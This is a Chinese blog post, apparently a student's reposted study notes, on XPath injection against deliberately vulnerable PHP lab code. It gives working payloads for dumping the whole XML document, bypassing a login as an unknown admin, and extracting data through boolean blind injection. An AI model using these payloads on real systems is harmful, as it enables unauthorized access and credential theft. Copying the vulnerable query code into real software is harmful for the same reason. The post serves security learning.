xpath 第一个元素_XPATH注入学习

最新推荐文章于 2021-05-13 11:00:26 发布
最新推荐文章于 2021-05-13 11:00:26 发布
阅读量156 收藏 1
点赞数
文章标签： xpath 第一个元素

更多全球网络安全资讯尽在邑安全

www.eansec.com

0x00、前言

转眼这学期上完就要找实习了，在网上找了一些面经来看，看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入，对xpath注入的权限绕过和盲注并不了解，以下为这次学习的笔记

0x01、XPATH：

xpath入门

XPath即为XML路径语言，它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath基于XML的树状结构，有不同类型的节点，包括元素节点，属性节点和文本节点，提供在数据结构树中找寻节点的能力

0x02、XPATH注入原理：

XPath 注入利用 XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码，以获得搞权限信息的访问权。

XPath注入类似于SQL注入，当网站使用未经正确处理的用户输入查询 XML 数据时，可能发生 XPATH 注入，由于Xpath中数据不像SQL中有权限的概念，用户可通过提交恶意XPATH代码获取到完整xml文档数据

0x03、Xpath和Xquery语法：

  • “nodename” – 选取nodename的所有子节点

  • “/nodename” – 从根节点中选择

  • “//nodename” – 从当前节点选择

  • “..” – 选择当前节点的父节点

  • “child::node()” – 选择当前节点的所有子节点

  • "@" -选择属性

  • "//user[position()=2] " 选择节点位置

0x04、XPATH注入之常规注入

这里我对hctf2015 的injection源码稍微改动(去掉对and 和 or等字符的过滤)：

index.php:

<?php 
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.":  " . $x_value;
echo "
";
}
}
?>

t3stt3st.xml:

<?xml version="1.0" encoding="utf-8"?>
user1KEY:1user2KEY:2user3KEY:3user4KEY:4user5KEY:5user6KEY:6user7KEY:7user8KEY:8user9KEY:9hctfflag:hctf{Dd0g_fac3_t0_k3yboard233}

正常查询：http://127.0.0.1/xpath/index.php?user=user1

bc2a6ab9e864807798ee9485c9bb8718.png

Xpath注入漏洞验证：

加一个 ' ;有下列报错，则可以确定Xpath注入的存在性

84ff01047cd9e4c5ec8d6b8ddd8cbeb4.png

构造Xpath注入语句：

user1' or 1=1 or ''='

此时的查询语句为

$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真，使用or连接，则可以匹配当前节点下的所有user

结果：

4c3a99cbeb33c170e7c567e718387e09.png

使用' or 1=1 or ''=' 只能获取当前节点下的数据，flag不在当前节点中。而这里既然为ctf题目，肯定是需要获取flag的，这里xpath有一个类似于sqli的'or '1'='1的paylaod

']|//*|//*['

该paylaod用于访问xml文档的所有节点

5f81092741d3fa602c06cefcd0286a5c.png

0x05、Xpath注入之登录绕过

login.php:









username：
password：


<?php 
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
Twe1veadmin@xx.comadministratorP@ssword123testtw@xx.comnormal123456

这里，test为普通账户，Twe1ve为管理账户(不设置为admin，为了更直观地看出权限时用户名已知和未知的区别，也是模拟用户名不为admin的情况)
test用户使用正确的账户名密码正常登录：

c5b7f505930bd71c3b3af3da789e3220.png

用户名：test' or 'a'='a 密码随意

1f7dfad887b48411ab438dcb951b1aa5.png

这意味着知道任意用户名即可以该用户身份登录，在已知用户账户名的情况下实现任意用户登录。假若管理员用户未知，如我这里设置的比较奇葩的管理用户名，还可以实现以管理员身份登录吗？我们知道一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码，使用如下paylaod实现在管理账户未知的情况下管理员登录：

x' or 1=1 or ''='

结果：

9d0202954939b87696e6260be5f9a60b.png

0x06、Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构，没有错误信息返回，一次只能通过布尔化查询来获取部分信息，同样以0x05中的源码为例

Xpath盲注步骤：

- 判断根节点下的节点数

  • 判断根节点下节点长度&名称

  • .....

  • 重复猜解完所有节点，获取最后的值

从根节点开始判断：

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

判断根节点下的节点长度为8：

'or string-length(name(/*[1]))=8 or ''='

猜解根节点下的节点名称：

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''='     /accounts下有两个节点

'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称：

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个，则可以猜测出accounts节点结构，accounts下两个节点，均为user节点

第一个user节点的子节点长度为8：
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='

最终所有子节点值验证如下：

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email'  or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype'  or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password'  or ''='

继续猜解：

'or count(/accounts/user[position()=1]/username/*)>0 or ''='
'or count(/accounts/user[position()=1]/email/*)>0 or ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false，不再有子节点，则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='

可依次读取所有的子节点的值，第二user节点的子节点值读取方式：

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

转自先知社区

欢迎收藏并分享朋友圈，让五邑人网络更安全

20fa0a3664096307a9a42cb392f18cbd.png

欢迎扫描关注我们，及时了解最新安全动态、学习最潮流的安全姿势！

推荐文章

1

新永恒之蓝？微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警：ubuntu最新版本存在本地提权漏洞(已有EXP)　

sultan_song
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞挖掘】——121、Xpath注入深入刨析
Fly_鹏程万里
06-28 154
XPath即为XML路径语言，是W3C XSLT标准的主要元素，它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。
xpath注入漏洞靶场搭建记录
墨痕诉清风的博客
01-23 361
这种漏洞允许攻击者注入恶意XPath代码，从而操纵应用程序对XML数据的处理方式。当应用程序使用用户提供的输入来查询XML数据时，如果这些输入没有经过适当的验证或清理，攻击者可以注入恶意XPath代码。这些代码可能在正常查询的上下文中执行，导致应用程序产生意外的结果或行为，类似于SQL注入。例如，假设一个应用程序使用用户提供的ID来检索XML数据。如果没有对ID进行适当的验证，攻击者可以注入类似于的XPath代码，从而获取所有具有管理员权限的用户的数据。
爬虫之XPath高级篇
实践求真知
01-12 895
一 属性获取 1 点睛 用@符号就可以 2 代码 from lxml import etree html = etree.parse('./test.html', etree.HTMLParser()) # 获取所有li节点下所有a节点的href属性 result = html.xpath('//li/a/@href') print(result) 3 结果 E:\WebSpid...
解析库XPath【全】
Sevieryang/FinTech/Statistics/Quant
06-21 377
解析库 对于网页的节点来说，它可以定义id、 class或其他属性。而且节点之间还有层次关系，在网页中可以通过XPath或CSS选择器来定位（或提取）一个或多个节点。然后再调用相应方法获取它的正文内容或者属性，就可以提取我们想要的信息。 [第四部分 解析库的使用（XPath、Beautiful Soup、PyQuery][https://www.cnblogs.com/Micro0623/p/10496376.html] XPath 全称 XML Path Language，XML 路径语言 最初是设计
xpath 第一个元素_XPath
weixin_39685130的博客
11-20 2327
定位元素方法1、绝对路径xpath表达式：/html/body/div/div从html代码最外层节点逐层查找2、相对路径xpath表达式：//input[@class='search-input']//表示在html文档的全部层级位置查找input[@class='search-input'] 定位class=search-input的输入框3、使用索引号//input[1]注意：查找时会把每个...
爬取《斗破苍穹》小说
阳光zfc
08-03 1385
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'} #爬取《斗破苍穹》全文小说 f=open("H:/doupo.txt",'a+') def get_info(url): ...
xpath 第一个元素_XPath基础
weixin_39978276的博客
11-20 239
XPath即XML(EXtensible Markup Language)路径语言(XML Path Language)，它是一种用来确定xml文档(html属于xml)中某部分位置的语言(html主要是为了显示信息，xml为了传输信息)。 xml文档是由一系列节点构成的树，例如： HelloWorld...
xpath 第一个元素_爬虫学习(5)—XPath
weixin_39622568的博客
11-20 1019
之前我们写了一个简单的爬虫，在提取页面信息时我们使用正则表达式来匹配内容，但是正则表达式的书写比较繁琐，而且一旦错误就可能导致匹配失败。对于网页的节点来说，它可以定义id，class或其他的属性，而且节点之间还有层次关系，在网页中可以通过xpath后css选择器来定位一个或多个节点。那么，我们在解析页面时，利用CSS和XPath选择器来定位节点，再调用相关方法来获取其正文内容或属性。本文介绍X...
XPath注入
发哥微课堂
06-29 2789
0x00：介绍 我们都知道数据库，以表的形式来存储数据。除了数据库还有一种方式即以文件形式存储，例如 xml 文件 txt 文件等。当然像文件存储数据一般很少用，文件存储有弊端，数据过多时，读写都很慢没有索引。一些配置性的东西可能会存到 xml 文件中。xml 存数据结构和 html 有点像，比如根结点、子节点、属性节点、文本等。 <?xml version="1.0" encodin...
mysql漏洞函数xpath_XPATH注入
weixin_30185907的博客
01-28 679
前言在网上看到了一个XPATH注入，发现自己确实有的地方没见过。。就拿来学习了一下链接：XPATHXPath 即为 XML 路径语言，是 W3C XSLT 标准的主要元素，它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath 基于 XML 的树状结构，有不同类型的节点，包括元素节点，属性节点和文本节点，提供在数据结构树中找寻节点的能力，可用来在 XML 文档中对元素...
Web进阶漏洞——XPath注入
Swee
08-04 576
什么是XPath? XPath 是一门在 XML 文档中查找信息的语言。XPath使用路径表达式在 XML 文档中通过元素和属性进行导航。 XPath使用实例 下面直接上具体实例来为大家大体介绍XPath的用法： 先使用一个xml文档例子： <?xml version="1.0" encoding="ISO-8859-1"?> HAHA 1 HEHE 2 因为XPath 使用路径表达式在 XML 文档中选取节点 列出几个常用的路径表达式: nodename .
XML相关的安全漏洞-XXE,XPATH小结（XXE注入、XPATH注入）
墨痕诉清风的博客
09-04 785
DTD来规定xml意味着，DTD申明的元素下面xml必须包含，并且只能含有DTD申明的元素，(#PCDATA)为可读取的字段， (name, from)表示还包含子节点，它是个根节点或者中间节点。那一行，表示执行第三行
xpath 第一个元素_Python爬虫：Xpath高级用法！快来
weixin_39604139的博客
11-20 4724
今天给大家分享的是xpath的高级用法，python爬虫中很厉害的一个。任何网站都能抓取的爬虫工具。xpath速度比较快，是爬虫在网页定位中的较优选择，但是很多网页前端代码混乱难以定位。试验环境：Python环境，lxml.etree试验所使用的html代码：xpath test时间地点任务这里是个小标题12384104223这里是H3的内容 百度一下test1test2123456789101、...
入门级XPath简介
成长的烧年
08-17 450
简介 项目中因为需要数据，所以我们就学习了python，来写爬虫爬一些某东,某猫，某宁的数据，第一个爬虫框架是scrapy，要用到XPath，赶紧学习了一波，有些东西来记录一下，数据来源于项目，真实有效。 流程 因为我也是初学者，在网上爬了一些二次元的数据，就像这样： 对应的源码就是这样的： &amp;lt;li class=&quot;js-smallCards _box&quot; data-sin...
xpath 第一个元素_XPATH技术补充-实例
weixin_39675513的博客
11-20 306
实例一：基本的XPath语法类似于在一个文件系统中定位文件,如果路径以斜线 / 开始, 那么该路径就表示到一个元素的绝对路径 1、选择根元素2、选择AAA的子元素CCC的子元素3、选择AAA的子元素DDD的所有子元素实例二：如果路径以双斜线 // 开头, 则表示选择文档中所有满足双斜线//之后规则的元素(无论层级关系) 1、选择所有BBB元素2、选择所有父元素是DDD的BBB元素案例三：星号 * ...
安卓socks5代理客户端_内网Mysql代理浅析
weixin_39806948的博客
12-08 1531
更多全球网络安全资讯尽在邑安全www.eansec.com0x00 使用场景在渗透测试中，由于防火墙的原因，目标主机可能只开放了某一个业务端口，其余反连和直连的端口被全部禁用了，借用mssqlproxy的一个图，很好的呈现了这种场景。这个时候我们虽然可以利用UDF执行命令，但是十分不方便，于是就有了下面的说法。0x01 原理关键原理就是UDF和Socket Reuse。Mysql UDF...
ubuntu php 无法执行exec_LibreNMS v1.46 远程代码执行 (CVE201820434)
weixin_39785858的博客
12-06 146
更多全球网络安全资讯尽在邑安全www.eansec.com一、LibreNMS简介LibreNMS是基于PHP/MySQL/SNMP的开源网络监控工具，它可自动发现网络中的思科设备和Linux等系统，使用通用SNMP协议来监控其它系统。二、漏洞介绍该漏洞可以通过以下方式来触发：在添加新的设备时，在community(snmp配置时的一个字段)参数中添加任意命令的方式。随后该设备会向“ad...
oracle select if判断_关于学习Oracle注入
weixin_39722025的博客
12-06 1837
更多全球网络安全资讯尽在邑安全www.eansec.comOracle注入学习最近学习过程中碰到了有使用oracle数据库的站，但是最后没有拿下来 太菜了ORZ所以学习了一下oracle注入，oracle其他的洞还在学习中ing...Oracle数据库Oracle安装先来了解一下oracle数据库：Oracle Database，又名Oracle RDBMS，或简称Oracle。是甲骨文...
[NPUCTF2020]ezlogin-XPATH注入学习
cjdgg的博客
05-13 648
[NPUCTF2020]ezlogin-XPATH注入学习 这题进入后就是一个简单的登录页面，拿御剑没有扫出别的东西，简单的sql注入试了一下也没有任何回显，爆破的话他这里有一个token一直在刷新，所以会有点麻烦，应该也不会拿爆破来考别人 后来看了别人的WP才知道是XPATH注入，以前没遇到过，也不是很了解，于是去找了篇相关文章顺带学习一下 这些是XPATH的一些基础语法和介绍 从这里可以看到它和sql注入还是很相像的，只不过XPATH注入好像没有注释符把后面的都注释掉，所以需要我们去构造闭合后面的
driver.find_element By.XPATH 第二个元素
最新发布
02-19
它返回页面中匹配该 XPath 表达式的第一个元素。 如果你想要获取匹配该 XPath 表达式的第二个元素，可以使用 driver.find_elements(By.XPATH, xpath) 方法，它返回一个包含所有匹配元素的列表。你可以通过索引来...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值